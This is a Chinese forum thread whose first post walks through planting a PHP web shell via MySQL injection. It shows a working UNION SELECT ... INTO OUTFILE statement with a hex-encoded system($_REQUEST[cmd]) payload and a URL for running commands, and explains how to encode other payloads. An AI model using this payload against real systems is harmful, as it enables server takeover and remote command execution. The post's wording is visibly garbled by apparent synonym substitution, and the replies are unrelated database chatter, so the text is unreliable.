仓酷云

标题: 绝无经由的经由过程Mysql的语句天生后门木马的办法 [打印本页]

作者: 飘飘悠悠 时间: 2015-1-16 20:14
标题: 绝无经由的经由过程Mysql的语句天生后门木马的办法
人们常说“成功孕育成功”，这种说法明显非常适合MySQL的情况。MySQL学习教程这个开源数据库号称在全世界有超过110万份的完全安装。经由过程MySQL的语句天生后门木马的办法!
SELECT*FROM`vbb_strikes`WHERE1unionselect2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3Efromvbb_strikesintooutfilec:/inetpub/wwwroot/cmd.php
经由过程Mysql的注进大概在phpmyadmin里运转以上语句,则会C:/inetpub/wwwroot/下天生cmd.php文件,内容为本来的vbb_strikes内容,前面紧随着:
23<?phpsystem($_REQUEST[cmd]);?>
再经由过程http://www.xxx.com/cmd.php?cmd=dirc:就能够实行体系DOS命令!
哪串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是甚么器材?
就是<?phpsystem($_REQUEST[cmd]);?>的十六进制编码了,假如不必这类办法,有分歧的SQL版本会呈现别的的编码:如%xx之类的,哪这个后门就不克不及实行的了!假如你有别的语名要弄,能够到UltraEdit里输出,再按[Ctrl+H]键,将内里的十六进制连在一同就能够了!
使用它开发程序也是非常简单的。”

作者: 再现理想 时间: 2015-1-18 19:10
SQLServer的异构移植功能个人感觉最好了。（如果对比过SQLServer的链接服务器和Oracle的透明网关的朋友会发现SQLServer的sp_addlinkedserver(openquery)异构数据库系列比Oracle真是强太多了。）

作者: 小妖女 时间: 2015-1-24 19:07
原理很简单，对要求长时间计算某一时间点的报表生成和防用户操作错误很有帮助。但是比起Oracle10g的闪回技术还是细粒度不够。可惜！

作者: 冷月葬花魂 时间: 2015-2-2 12:06
这是一个不错的新特性。虽然索引的附加字段没有索引键值效率高，但是相对映射到数据表中效率还是提高了很多。我做过试验，在我的实验环境中会比映射到表中提高30%左右的效率。

作者: 谁可相欹 时间: 2015-2-7 20:11
如果我们从集合论（关系代数）的角度来看，一张数据库的表就是一组数据元的关系，而每个SQL语句会改变一种或数种关系，从而产生出新的数据元的关系（即产生新的表）。

作者: 老尸 时间: 2015-2-23 10:16
每天坚持做不一样的是，认真做笔录，定时复习。一个月你就可以有一定的收获。当然如果你想在sql方面有一定的造诣，你少不了需要看很多很多的书籍了。

作者: 变相怪杰 时间: 2015-3-7 08:12
一直以来个人感觉SQLServer的优化器要比Oracle的聪明。SQL2005的更是比2k聪明了不少。（有次作试验发现有的语句在200万级时还比50万级的相同语句要快show_text的一些提示没有找到解释。一直在奇怪。）

作者: 兰色精灵 时间: 2015-3-14 17:50
从项目平台的选择上讲，我们关心的，应该是一款产品能不能满足任务需求，而不是网上怎么说。

作者: 精灵巫婆 时间: 2015-3-21 13:31
原来公司用过MYSQL自己也只是建个表写个SQL

欢迎光临仓酷云 (http://ckuyun.com/)